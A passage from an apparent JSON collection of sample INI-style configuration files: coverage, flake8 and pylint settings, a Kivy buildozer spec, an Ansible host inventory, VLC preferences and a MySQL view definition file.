    "content": "[run]\nbranch = True\ndynamic_context = test_function\n\nsource =\n    warehouse\n\nomit =\n    # We don't want to get coverage information for our migrations.\n    warehouse/migrations/*\n\n    # We don't want to actually cover our __main__.py file because it is hard\n    # to cover and it really just acts as a tiny shim to a function.\n    warehouse/__main__.py\n\n    # Again, tiny shim code that we don't actually need to test and trying to\n    # do so would just get in the way.\n    warehouse/wsgi.py\n\n    # And again, tiny shim code.\n    warehouse/celery.py\n\n\n[report]\nexclude_lines =\n    pragma: no cover\n    class \\w+\\(Interface\\):\n\n# Don't show us anything that's already 100% covered.\nskip_covered = True\n"
  },
  {
    "path": "samples/INI/filenames/.flake8",
    "content": "[flake8]\nmin_python_version = 3.6.0\nmax-line-length = 88\nban-relative-imports = true\n# flake8-use-fstring: https://github.com/MichaelKim0407/flake8-use-fstring#--percent-greedy-and---format-greedy\nformat-greedy = 1\ninline-quotes = double\n# Allow omission of a return type hint for __init__ if at least one argument is annotated\n# used by flake8-annotations\nmypy-init-return = true\nenable-extensions = TC, TC2\ntype-checking-exempt-modules = typing, typing-extensions\neradicate-whitelist-extend = ^-.*;\nextend-ignore =\n    # E501: Line too long (FIXME: long string constants)\n    E501,\n    # E203: Whitespace before ':' (pycqa/pycodestyle#373)\n    E203,\n    # SIM106: Handle error-cases first\n    SIM106,\n    # ANN101: Missing type annotation for self in method\n    ANN101,\n    # ANN102: Missing type annotation for cls in classmethod\n    ANN102,\nper-file-ignores =\n    # F401: Module imported by unused (non-implicit modules)\n    # TC002: Move third-party import '...' into a type-checking block\n    __init__.py:F401,TC002,\n    # ANN201: Missing return type annotation for public function\n    tests/test_*:ANN201\n    tests/**/test_*:ANN201\nextend-exclude =\n    # Frozen and not subject to change in this repo:\n    get-poetry.py,\n    install-poetry.py,\n    # External to the project's coding standards:\n    tests/fixtures/*,\n    tests/**/fixtures/*,"
  },
  {
    "path": "samples/INI/filenames/.pylintrc",
    "content": "[BASIC]\n\n# Allow tests and private functions without docstrings\nno-docstring-rgx=(test_.*|_.*)\n\n[FORMAT]\n\n# Maximum number of characters on a single line.\nmax-line-length=80\n\n# String used as indentation unit. We differ from PEP8's normal 4 spaces.\nindent-string='  '\n\n# Allow long lines which are just a string\nignore-long-lines = ^\\s*\\\"[^\\\"]+\\\",?$\n\n\n[MESSAGES CONTROL]\n\n# The order must be different internally vs externally\ndisable=wrong-import-order\n"
  },
  {
    "path": "samples/INI/filenames/buildozer.spec",
    "content": "[app]\n\n# (str) Title of your application\ntitle = Kivy Kazam\n\n# (str) Package name\npackage.name = kivykazam\n\n# (str) Package domain (needed for android/ios packaging)\npackage.domain = org.test\n\n# (str) Source code where the main.py live\nsource.dir = .\n\n# (list) Source files to include (let empty to include all the files)\nsource.include_exts = py,png,jpg,kv,atlas\n\n# (list) List of inclusions using pattern matching\n#source.include_patterns = assets/*,images/*.png\n\n# (list) Source files to exclude (let empty to not exclude anything)\n#source.exclude_exts = spec\n\n# (list) List of directory to exclude (let empty to not exclude anything)\n#source.exclude_dirs = tests, bin\n\n# (list) List of exclusions using pattern matching\n#source.exclude_patterns = license,images/*/*.jpg\n\n# (str) Application versioning (method 1)\nversion = 0.1\n\n# (str) Application versioning (method 2)\n# version.regex = __version__ = ['\"](.*)['\"]\n# version.filename = %(source.dir)s/main.py\n\n# (list) Application requirements\n# comma seperated e.g. requirements = sqlite3,kivy\nrequirements = kivy\n\n# (str) Custom source folders for requirements\n# Sets custom source for any requirements with recipes\n# requirements.source.kivy = ../../kivy\n\n# (list) Garden requirements\n#garden_requirements =\n\n# (str) Presplash of the application\n#presplash.filename = %(source.dir)s/data/presplash.png\n\n# (str) Icon of the application\n#icon.filename = %(source.dir)s/data/icon.png\n\n# (str) Supported orientation (one of landscape, portrait or all)\norientation = all\n\n# (list) List of service to declare\n#services = NAME:ENTRYPOINT_TO_PY,NAME2:ENTRYPOINT2_TO_PY\n\n#\n# OSX Specific\n#\n\n#\n# author = © Copyright Info\n\n#\n# Android specific\n#\n\n# (bool) Indicate if the application should be fullscreen or not\nfullscreen = 1\n\n# (list) Permissions\n#android.permissions = INTERNET\n\n# (int) Android API to use\n#android.api = 19\n\n# (int) Minimum API required\nandroid.minapi = 13\n\n# (int) Android SDK version to use\n#android.sdk = 20\n\n# (str) Android NDK version to use\n#android.ndk = 9c\n\n# (bool) Use --private data storage (True) or --dir public storage (False)\n#android.private_storage = True\n\n# (str) Android NDK directory (if empty, it will be automatically downloaded.)\n#android.ndk_path =\n\n# (str) Android SDK directory (if empty, it will be automatically downloaded.)\n#android.sdk_path =\n\n# (str) ANT directory (if empty, it will be automatically downloaded.)\n#android.ant_path =\n\n# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)\n#android.p4a_dir =\n\n# (list) python-for-android whitelist\n#android.p4a_whitelist =\n\n# (bool) If True, then skip trying to update the Android sdk\n# This can be useful to avoid excess Internet downloads or save time\n# when an update is due and you just want to test/build your package\n# android.skip_update = False\n\n# (str) Android entry point, default is ok for Kivy-based app\n#android.entrypoint = org.renpy.android.PythonActivity\n\n# (list) List of Java .jar files to add to the libs so that pyjnius can access\n# their classes. Don't add jars that you do not need, since extra jars can slow\n# down the build process. Allows wildcards matching, for example:\n# OUYA-ODK/libs/*.jar\n#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar\n\n# (list) List of Java files to add to the android project (can be java or a\n# directory containing the files)\n#android.add_src =\n\n# (str) python-for-android branch to use, if not master, useful to try\n# not yet merged features.\n#android.branch = master\n\n# (str) OUYA Console category. Should be one of GAME or APP\n# If you leave this blank, OUYA support will not be enabled\n#android.ouya.category = GAME\n\n# (str) Filename of OUYA Console icon. It must be a 732x412 png image.\n#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png\n\n# (str) XML file to include as an intent filters in <activity> tag\n#android.manifest.intent_filters =\n\n# (list) Android additionnal libraries to copy into libs/armeabi\n#android.add_libs_armeabi = libs/android/*.so\n#android.add_libs_armeabi_v7a = libs/android-v7/*.so\n#android.add_libs_x86 = libs/android-x86/*.so\n#android.add_libs_mips = libs/android-mips/*.so\n\n# (bool) Indicate whether the screen should stay on\n# Don't forget to add the WAKE_LOCK permission if you set this to True\n#android.wakelock = False\n\n# (list) Android application meta-data to set (key=value format)\n#android.meta_data =\n\n# (list) Android library project to add (will be added in the\n# project.properties automatically.)\n#android.library_references =\n\n# (str) Android logcat filters to use\n#android.logcat_filters = *:S python:D\n\n# (bool) Copy library instead of making a libpymodules.so\n#android.copy_libs = 1\n\n#\n# iOS specific\n#\n\n# (str) Path to a custom kivy-ios folder\n#ios.kivy_ios_dir = ../kivy-ios\n\n# (str) Name of the certificate to use for signing the debug version\n# Get a list of available identities: buildozer ios list_identities\n#ios.codesign.debug = \"iPhone Developer: <lastname> <firstname> (<hexstring>)\"\n\n# (str) Name of the certificate to use for signing the release version\n#ios.codesign.release = %(ios.codesign.debug)s\n\n\n[buildozer]\n\n# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))\nlog_level = 1\n\n# (int) Display warning if buildozer is run as root (0 = False, 1 = True)\nwarn_on_root = 1\n\n# (str) Path to build artifact storage, absolute or relative to spec file\n# build_dir = ./.buildozer\n\n# (str) Path to build output (i.e. .apk, .ipa) storage\n# bin_dir = ./bin\n\n#    -----------------------------------------------------------------------------\n#    List as sections\n#\n#    You can define all the \"list\" as [section:key].\n#    Each line will be considered as a option to the list.\n#    Let's take [app] / source.exclude_patterns.\n#    Instead of doing:\n#\n#[app]\n#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*\n#\n#    This can be translated into:\n#\n#[app:source.exclude_patterns]\n#license\n#data/audio/*.wav\n#data/images/original/*\n#\n\n\n#    -----------------------------------------------------------------------------\n#    Profiles\n#\n#    You can extend section / key with a profile\n#    For example, you want to deploy a demo version of your application without\n#    HD content. You could first change the title to add \"(demo)\" in the name\n#    and extend the excluded directories to remove the HD content.\n#\n#[app@demo]\n#title = My Application (demo)\n#\n#[app:source.exclude_patterns@demo]\n#images/hd/*\n#\n#    Then, invoke the command line with the \"demo\" profile:\n#\n#buildozer --profile demo android debug\n"
  },
  {
    "path": "samples/INI/filenames/hosts",
    "content": "[dev]\ndev-rhel8-55 ansible_host=192.168.100.4 \n\n[nodes]\nnode1 ansible_host=192.168.56.25\n\n[nodes:vars] \nansible_ssh_private_key_file=/home/ansible/.ssh/id_rsa  \nansible_user=devops \n\n[dev:vars]\nansible_ssh_private_key_file=/home/ansible/.ssh/id_rsa \nansible_user=devops\n"
  },
  {
    "path": "samples/INI/filenames/pylintrc",
    "content": "# The format of this file isn't really documented; just use --generate-rcfile\n\n[Messages Control]\n# C0111: Don't require docstrings on every method\n# C0301: Handled by pep8\n# C0325: Parens are required on print in py3x\n# F0401: Imports are check by other linters\n# W0511: TODOs in code comments are fine.\n# W0142: *args and **kwargs are fine.\n# W0622: Redefining id is fine.\n\n# TODO(browne): fix these in the future\n# C0103: invalid-name\n# C0201: consider-iterating-dictionary\n# C1801: len-as-condition\n# E1101: no-member\n# E1111: assignment-from-no-return\n# R0902: too-many-instance-attributes\n# R0912: too-many-branches\n# R0913: too-many-arguments\n# R0914: too-many-locals\n# R0915: too-many-statements\n# R1702: too-many-nested-blocks\n# R1705: no-else-return\n# R1710: inconsistent-return-statements\n# W0110: deprecated-lambda\n# W0141: bad-builtin\n# W0201: attribute-defined-outside-init\n# W0212: protected-access\n# W0401: wildcard-import\n# W0603: global-statement\n# W0613: unused-argument\n# W0621: redefined-outer-name\n# W0703: broad-except\n# W1201: logging-not-lazy\n# W1505: deprecated-method\ndisable=C0111,C0201,C0301,C0325,C1801,F0401,W0511,W0142,W0622,C0103,E1101,E1111,R0902,R0912,R0913,R0914,R0915,R1702,R1705,R1710,W0110,W0141,W0201,W0401,W0603,W0212,W0613,W0621,W0703,W1201,W1505\n\n[Basic]\n# Variable names can be 1 to 31 characters long, with lowercase and underscores\nvariable-rgx=[a-z_][a-z0-9_]{0,30}$\n\n# Argument names can be 2 to 31 characters long, with lowercase and underscores\nargument-rgx=[a-z_][a-z0-9_]{1,30}$\n\n# Method names should be at least 3 characters long\n# and be lowecased with underscores\nmethod-rgx=([a-z_][a-z0-9_]{2,50}|setUp|tearDown)$\n\n# Module names matching manila-* are ok (files in bin/)\nmodule-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+)|(manila-[a-z0-9_-]+))$\n\n# Don't require docstrings on tests.\nno-docstring-rgx=((__.*__)|([tT]est.*)|setUp|tearDown)$\n\n[Design]\nmax-public-methods=100\nmin-public-methods=0\nmax-args=6\n\n[Variables]\n\n# List of additional names supposed to be defined in builtins. Remember that\n# you should avoid to define new builtins when possible.\n# _ is used by our localization\nadditional-builtins=_\n\n[Similarities]\n# Minimum lines number of a similarity.\nmin-similarity-lines=10\n\n# Ignore comments when computing similarities.\nignore-comments=yes\n\n# Ignore docstrings when computing similarities.\nignore-docstrings=yes\n\n# Ignore imports when computing similarities.\nignore-imports=yes\n"
  },
  {
    "path": "samples/INI/filenames/vlcrc",
    "content": "# VLC 3.0.18 configuration\n\n[macosx]\n\n# Enable dark mode\nmacosx-interfacestyle=0\n\n# Native full-screen mode\nmacosx-nativefullscreenmode=0\n\n# Hide VLC icon in status-bar\nmacosx-statusicon=0\n\n# Prevent automatic icon changes\nmacosx-icon-change=0\n\n# Hide buttons for rarely-used functions\nmacosx-show-playback-buttons=0\nmacosx-show-playmode-buttons=0\nmacosx-show-effects-button=0\n\n# Maximum volume displayed\nmacosx-max-volume=125\n\n# Enlargen list-view text\nmacosx-large-text=0\n\n# Play files immediately after opening\nmacosx-autoplay=1\n\n# Don't retain list of recently-played media\nmacosx-recentitems=0\n\n# Show full-screen controller\nmacosx-fspanel=1\n\n# Resize window to video's intrinsic size\nmacosx-video-autoresize=1\n\n# Pause video playback when minimising window\nmacosx-pause-minimized=1\n\n# Lock aspect ratio\nmacosx-lock-aspect-ratio=1\n\n# Dim keyboard backlight during full-screen playback\nmacosx-dim-keyboard=1\n\n# Leave other media players alone\nmacosx-control-itunes=0\n\n# Continue playback from last session\nmacosx-continue-playback=2\n\n# Deny access to Apple Remote devices\nmacosx-appleremote=0\nmacosx-appleremote-prevnext=0\nmacosx-appleremote-sysvol=0\n\n# Allow standard media keys to control playback\nmacosx-mediakeys=1\n\n\n[core]\n\n# Show advanced options\nadvanced=1\n\n# Show files whose names begin with \".\"\nshow-hiddenfiles=1\n\n# Default subtitle language\nsub-language=English\n\n# Disable telemetry\nstats=0\n\n# Toggle full-screen\nglobal-key-toggle-fullscreen=\nkey-toggle-fullscreen=Command+f\n\n# Exit full-screen\nglobal-key-leave-fullscreen=\nkey-leave-fullscreen=Esc\n\n# Play/pause\nglobal-key-play-pause=\nkey-play-pause=Space\n\n# Pause\nglobal-key-pause=\nkey-pause=\n\n# Play\nglobal-key-play=\nkey-play=\n\n# Adjust playback speed\nglobal-key-faster=\nglobal-key-slower=\nglobal-key-rate-faster-fine=\nglobal-key-rate-slower-fine=\nkey-faster=Command+=\nkey-slower=Command+-\nkey-rate-faster-fine=\nkey-rate-slower-fine=\n\n# Reset playback speed\nglobal-key-rate-normal=\nkey-rate-normal=\n\n# Next/previous playlist entry\nglobal-key-next=\nglobal-key-prev=\nkey-next=Command+Right\nkey-prev=Command+Left\n\n# Stop\nglobal-key-stop=\nkey-stop=\n\n# Position\nglobal-key-position=\nkey-position=t\n\n# Very short jump\nglobal-key-jump+extrashort=\nglobal-key-jump-extrashort=\nkey-jump+extrashort=\nkey-jump-extrashort=\n\n# Short jump\nglobal-key-jump+short=\nglobal-key-jump-short=\nkey-jump+short=\nkey-jump-short=\n\n# Medium-length jump\nglobal-key-jump+medium=\nglobal-key-jump-medium=\nkey-jump+medium=\nkey-jump-medium=\n\n# Long jump\nglobal-key-jump+long=\nglobal-key-jump-long=\nkey-jump+long=\nkey-jump-long=\n\n# Next frame\nglobal-key-frame-next=\nkey-frame-next=\n\n# Activate\nglobal-key-nav-activate=\nkey-nav-activate=Enter\n\n# Navigation\nglobal-key-nav-left=\nglobal-key-nav-right=\nglobal-key-nav-down=\nglobal-key-nav-up=\nkey-nav-left=Left\nkey-nav-right=Right\nkey-nav-down=Down\nkey-nav-up=Up\n\n# Navigate to DVD menu\nglobal-key-disc-menu=\nkey-disc-menu=\n\n# Select previous/next DVD title\nglobal-key-title-prev=\nglobal-key-title-next=\nkey-title-prev=\nkey-title-next=\n\n# Select previous/next DVD chapter\nglobal-key-chapter-prev=\nglobal-key-chapter-next=\nkey-chapter-prev=\nkey-chapter-next=\n\n# Quit\nglobal-key-quit=\nkey-quit=Command+q\n\n# Volume adjustment\nglobal-key-vol-up=\nglobal-key-vol-down=\nkey-vol-up=\nkey-vol-down=\n\n# Mute\nglobal-key-vol-mute=\nkey-vol-mute=\n\n# Adjust audio delay\nglobal-key-audiodelay-up=\nglobal-key-audiodelay-down=\nkey-audiodelay-up=\nkey-audiodelay-down=\n\n# Adjust subtitle delay\nglobal-key-subdelay-up=\nglobal-key-subdelay-down=\nkey-subdelay-down=\nkey-subdelay-up=\n\n# Adjust subtitle position\nglobal-key-subpos-up=\nglobal-key-subpos-down=\nkey-subpos-up=\nkey-subpos-down=\n\n# Bookmark timestamp\nglobal-key-subsync-markaudio=\nglobal-key-subsync-marksub=\nkey-subsync-markaudio=\nkey-subsync-marksub=\n\n# Synchronise timestamps\nglobal-key-subsync-apply=\nkey-subsync-apply=Shift+k\n\n# Reset audio/subtitle synchronisation\nglobal-key-subsync-reset=\nkey-subsync-reset=Command+Shift+k\n\n# Cycle audio tracks\nglobal-key-audio-track=\nkey-audio-track=\n\n# Cycle audio devices\nglobal-key-audiodevice-cycle=\nkey-audiodevice-cycle=\n\n# Cycle next/previous subtitle tracks\nglobal-key-subtitle-track=\nglobal-key-subtitle-revtrack=\nkey-subtitle-track=\nkey-subtitle-revtrack=\n\n# Cycle next/previous program Service ID\nglobal-key-program-sid-next=\nglobal-key-program-sid-prev=\nkey-program-sid-next=\nkey-program-sid-prev=\n\n# Cycle source aspect ratios\nglobal-key-aspect-ratio=\nkey-aspect-ratio=\n\n# Cycle video crop modes\nglobal-key-crop=\nkey-crop=\n\n# Increase/decrease scale factor\nglobal-key-incr-scalefactor=\nglobal-key-decr-scalefactor=\nkey-incr-scalefactor=\nkey-decr-scalefactor=\n\n# Cycle deinterlace modes\nglobal-key-deinterlace-mode=\nkey-deinterlace-mode=\n\n# Show controller in full-screen\nglobal-key-intf-show=\nkey-intf-show=i\n\n# Boss key\nglobal-key-intf-boss=\nkey-intf-boss=\n\n# Context menu\nglobal-key-intf-popup-menu=\nkey-intf-popup-menu=Menu\n\n# Save current video frame\nglobal-key-snapshot=\nkey-snapshot=\n\n# Record\nglobal-key-record=\nkey-record=\n\n# Zoom\nglobal-key-zoom=\nglobal-key-unzoom=\nkey-zoom=\nkey-unzoom=\n\n# Contract video's edge by one pixel\nglobal-key-crop-bottom=\nglobal-key-crop-right=\nglobal-key-crop-left=\nglobal-key-crop-top=\nkey-crop-bottom=\nkey-crop-right=\nkey-crop-left=\nkey-crop-top=\n\n# Extend video's edge by one pixel\nglobal-key-uncrop-bottom=\nglobal-key-uncrop-right=\nglobal-key-uncrop-left=\nglobal-key-uncrop-top=\nkey-uncrop-bottom=\nkey-uncrop-right=\nkey-uncrop-left=\nkey-uncrop-top=\n\n# Toggle subtitles\nglobal-key-subtitle-toggle=\nkey-subtitle-toggle=s\n\n# Toggle autoscaling\nglobal-key-toggle-autoscale=\nkey-toggle-autoscale=\n\n# Toggle deinterlacing\nglobal-key-deinterlace=\nkey-deinterlace=\n\n# Toggle wallpaper mode in video output\nglobal-key-wallpaper=\nkey-wallpaper=\n\n# Toggle playlist randomisation\nglobal-key-random=\nkey-random=\n\n# Toggle looped playback\nglobal-key-loop=\nkey-loop=\n\n# Increase/decrease viewpoint field-of-view\nglobal-key-viewpoint-fov-in=\nglobal-key-viewpoint-fov-out=\nkey-viewpoint-fov-in=Page Up\nkey-viewpoint-fov-out=Page Down\n\n# Roll viewpoint 360°\nglobal-key-viewpoint-roll-clock=\nglobal-key-viewpoint-roll-anticlock=\nkey-viewpoint-roll-clock=\nkey-viewpoint-roll-anticlock=\n\n# 1:4 quarter\nglobal-key-zoom-quarter=\nkey-zoom-quarter=\n\n# 1:2 half\nglobal-key-zoom-half=\nkey-zoom-half=\n\n# 1:1 original\nglobal-key-zoom-original=\nkey-zoom-original=\n\n# 2:1 double\nglobal-key-zoom-double=\nkey-zoom-double=\n\n# Jump lengths\nextrashort-jump-size=3\nshort-jump-size=10\nmedium-jump-size=60\nlong-jump-size=300\n\n# Set playlist bookmarks\nglobal-key-set-bookmark1=\nglobal-key-set-bookmark2=\nglobal-key-set-bookmark3=\nglobal-key-set-bookmark4=\nglobal-key-set-bookmark5=\nglobal-key-set-bookmark6=\nglobal-key-set-bookmark7=\nglobal-key-set-bookmark8=\nglobal-key-set-bookmark9=\nglobal-key-set-bookmark10=\nkey-set-bookmark1=\nkey-set-bookmark2=\nkey-set-bookmark3=\nkey-set-bookmark4=\nkey-set-bookmark5=\nkey-set-bookmark6=\nkey-set-bookmark7=\nkey-set-bookmark8=\nkey-set-bookmark9=\nkey-set-bookmark10=\n\n# Play playlist bookmarks\nglobal-key-play-bookmark1=\nglobal-key-play-bookmark2=\nglobal-key-play-bookmark3=\nglobal-key-play-bookmark4=\nglobal-key-play-bookmark5=\nglobal-key-play-bookmark6=\nglobal-key-play-bookmark7=\nglobal-key-play-bookmark8=\nglobal-key-play-bookmark9=\nglobal-key-play-bookmark10=\nkey-play-bookmark1=\nkey-play-bookmark2=\nkey-play-bookmark3=\nkey-play-bookmark4=\nkey-play-bookmark5=\nkey-play-bookmark6=\nkey-play-bookmark7=\nkey-play-bookmark8=\nkey-play-bookmark9=\nkey-play-bookmark10=\n\n# Clear playlist\nglobal-key-clear-playlist=\nkey-clear-playlist=\n\n# Reset subtitle size\nglobal-key-subtitle-text-scale-normal=\nkey-subtitle-text-scale-normal=Command+0\n\n# Decrease subtitle size\nglobal-key-subtitle-text-scale-up=\nkey-subtitle-text-scale-up=Command+Mouse Wheel Up\n\n# Increase subtitle size\nglobal-key-subtitle-text-scale-down=\nkey-subtitle-text-scale-down=Command+Mouse Wheel Down\n\n# Playlist bookmarks 1-10\nbookmark1=\nbookmark2=\nbookmark3=\nbookmark4=\nbookmark5=\nbookmark6=\nbookmark7=\nbookmark8=\nbookmark9=\nbookmark10=\n\n\n[audiobargraph_v]\naudiobargraph_v-x=0\naudiobargraph_v-y=0\naudiobargraph_v-transparency=255\naudiobargraph_v-position=0\naudiobargraph_v-barWidth=10\naudiobargraph_v-barHeight=400\n\n[filesystem]\nlist-special-files=1\n\n[freetype]\nfreetype-rel-fontsize=20\n"
  },
  {
    "path": "samples/INI/metrics.frm",
    "content": "TYPE=VIEW\nquery=(select lower(`performance_schema`.`global_status`.`VARIABLE_NAME`) AS `Variable_name`,`performance_schema`.`global_status`.`VARIABLE_VALUE` AS `Variable_value`,\\'Global Status\\' AS `Type`,\\'YES\\' AS `Enabled` from `performance_schema`.`global_status`) union all (select `information_schema`.`INNODB_METRICS`.`NAME` AS `Variable_name`,`information_schema`.`INNODB_METRICS`.`COUNT` AS `Variable_value`,concat(\\'InnoDB Metrics - \\',`information_schema`.`INNODB_METRICS`.`SUBSYSTEM`) AS `Type`,if((`information_schema`.`INNODB_METRICS`.`STATUS` = \\'enabled\\'),\\'YES\\',\\'NO\\') AS `Enabled` from `information_schema`.`INNODB_METRICS` where (`information_schema`.`INNODB_METRICS`.`NAME` not in (\\'lock_row_lock_time\\',\\'lock_row_lock_time_avg\\',\\'lock_row_lock_time_max\\',\\'lock_row_lock_waits\\',\\'buffer_pool_reads\\',\\'buffer_pool_read_requests\\',\\'buffer_pool_write_requests\\',\\'buffer_pool_wait_free\\',\\'buffer_pool_read_ahead\\',\\'buffer_pool_read_ahead_evicted\\',\\'buffer_pool_pages_total\\',\\'buffer_pool_pages_misc\\',\\'buffer_pool_pages_data\\',\\'buffer_pool_bytes_data\\',\\'buffer_pool_pages_dirty\\',\\'buffer_pool_bytes_dirty\\',\\'buffer_pool_pages_free\\',\\'buffer_pages_created\\',\\'buffer_pages_written\\',\\'buffer_pages_read\\',\\'buffer_data_reads\\',\\'buffer_data_written\\',\\'file_num_open_files\\',\\'os_log_bytes_written\\',\\'os_log_fsyncs\\',\\'os_log_pending_fsyncs\\',\\'os_log_pending_writes\\',\\'log_waits\\',\\'log_write_requests\\',\\'log_writes\\',\\'innodb_dblwr_writes\\',\\'innodb_dblwr_pages_written\\',\\'innodb_page_size\\'))) union all (select \\'memory_current_allocated\\' AS `Variable_name`,sum(`performance_schema`.`memory_summary_global_by_event_name`.`CURRENT_NUMBER_OF_BYTES_USED`) AS `Variable_value`,\\'Performance Schema\\' AS `Type`,if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = 0),\\'NO\\',if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = (select count(0) from `performance_schema`.`setup_instruments` where (`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\'))),\\'YES\\',\\'PARTIAL\\')) AS `Enabled` from `performance_schema`.`memory_summary_global_by_event_name`) union all (select \\'memory_total_allocated\\' AS `Variable_name`,sum(`performance_schema`.`memory_summary_global_by_event_name`.`SUM_NUMBER_OF_BYTES_ALLOC`) AS `Variable_value`,\\'Performance Schema\\' AS `Type`,if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = 0),\\'NO\\',if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = (select count(0) from `performance_schema`.`setup_instruments` where (`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\'))),\\'YES\\',\\'PARTIAL\\')) AS `Enabled` from `performance_schema`.`memory_summary_global_by_event_name`) union all (select \\'NOW()\\' AS `Variable_name`,now(3) AS `Variable_value`,\\'System Time\\' AS `Type`,\\'YES\\' AS `Enabled`) union all (select \\'UNIX_TIMESTAMP()\\' AS `Variable_name`,round(unix_timestamp(now(3)),3) AS `Variable_value`,\\'System Time\\' AS `Type`,\\'YES\\' AS `Enabled`) order by `Type`,`Variable_name`\nmd5=68a03cdfba4893ad11e38b2bc8f1e1b0\nupdatable=0\nalgorithm=1\ndefiner_user=mysql.sys\ndefiner_host=localhost\nsuid=0\nwith_check_option=0\ntimestamp=2017-11-09 12:59:13\ncreate-version=1\nsource=( SELECT LOWER(VARIABLE_NAME) AS Variable_name, VARIABLE_VALUE AS Variable_value, \\'Global Status\\' AS Type, \\'YES\\' AS Enabled FROM performance_schema.global_status ) UNION ALL ( SELECT NAME AS Variable_name, COUNT AS Variable_value, CONCAT(\\'InnoDB Metrics - \\', SUBSYSTEM) AS Type, IF(STATUS = \\'enabled\\', \\'YES\\', \\'NO\\') AS Enabled FROM information_schema.INNODB_METRICS WHERE NAME NOT IN ( \\'lock_row_lock_time\\', \\'lock_row_lock_time_avg\\', \\'lock_row_lock_time_max\\', \\'lock_row_lock_waits\\', \\'buffer_pool_reads\\', \\'buffer_pool_read_requests\\', \\'buffer_pool_write_requests\\', \\'buffer_pool_wait_free\\', \\'buffer_pool_read_ahead\\', \\'buffer_pool_read_ahead_evicted\\', \\'buffer_pool_pages_total\\', \\'buffer_pool_pages_misc\\', \\'buffer_pool_pages_data\\', \\'buffer_pool_bytes_data\\', \\'buffer_pool_pages_dirty\\', \\'buffer_pool_bytes_dirty\\', \\'buffer_pool_pages_free\\', \\'buffer_pages_created\\', \\'buffer_pages_written\\', \\'buffer_pages_read\\', \\'buffer_data_reads\\', \\'buffer_data_written\\', \\'file_num_open_files\\', \\'os_log_bytes_written\\', \\'os_log_fsyncs\\', \\'os_log_pending_fsyncs\\', \\'os_log_pending_writes\\', \\'log_waits\\', \\'log_write_requests\\', \\'log_writes\\', \\'innodb_dblwr_writes\\', \\'innodb_dblwr_pages_written\\', \\'innodb_page_size\\') )  UNION ALL ( SELECT \\'memory_current_allocated\\' AS Variable_name, SUM(CURRENT_NUMBER_OF_BYTES_USED) AS Variable_value, \\'Performance Schema\\' AS Type, IF((SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\' AND ENABLED = \\'YES\\') = 0, \\'NO\\', IF((SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\' AND ENABLED = \\'YES\\') = (SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\'), \\'YES\\', \\'PARTIAL\\')) AS Enabled FROM performance_schema.memory_summary_global_by_event_name ) UNION ALL ( SELECT \\'memory_total_allocated\\' AS Variable_name, SUM(SUM_NUMBER_OF_BYTES_ALLOC) AS Variable_value, \\'Performance Schema\\' AS Type, IF((SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\' AND ENABLED = \\'YES\\') = 0, \\'NO\\', IF((SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\' AND ENABLED = \\'YES\\') = (SELECT COUNT(*) FROM performance_schema.setup_instruments WHERE NAME LIKE \\'memory/%\\'), \\'YES\\', \\'PARTIAL\\')) AS Enabled FROM performance_schema.memory_summary_global_by_event_name )  UNION ALL ( SELECT \\'NOW()\\' AS Variable_name, NOW(3) AS Variable_value, \\'System Time\\' AS Type, \\'YES\\' AS Enabled ) UNION ALL ( SELECT \\'UNIX_TIMESTAMP()\\' AS Variable_name, ROUND(UNIX_TIMESTAMP(NOW(3)), 3) AS Variable_value, \\'System Time\\' AS Type, \\'YES\\' AS Enabled ) ORDER BY Type, Variable_name\nclient_cs_name=utf8\nconnection_cl_name=utf8_general_ci\nview_body_utf8=(select lower(`performance_schema`.`global_status`.`VARIABLE_NAME`) AS `Variable_name`,`performance_schema`.`global_status`.`VARIABLE_VALUE` AS `Variable_value`,\\'Global Status\\' AS `Type`,\\'YES\\' AS `Enabled` from `performance_schema`.`global_status`) union all (select `information_schema`.`INNODB_METRICS`.`NAME` AS `Variable_name`,`information_schema`.`INNODB_METRICS`.`COUNT` AS `Variable_value`,concat(\\'InnoDB Metrics - \\',`information_schema`.`INNODB_METRICS`.`SUBSYSTEM`) AS `Type`,if((`information_schema`.`INNODB_METRICS`.`STATUS` = \\'enabled\\'),\\'YES\\',\\'NO\\') AS `Enabled` from `information_schema`.`INNODB_METRICS` where (`information_schema`.`INNODB_METRICS`.`NAME` not in 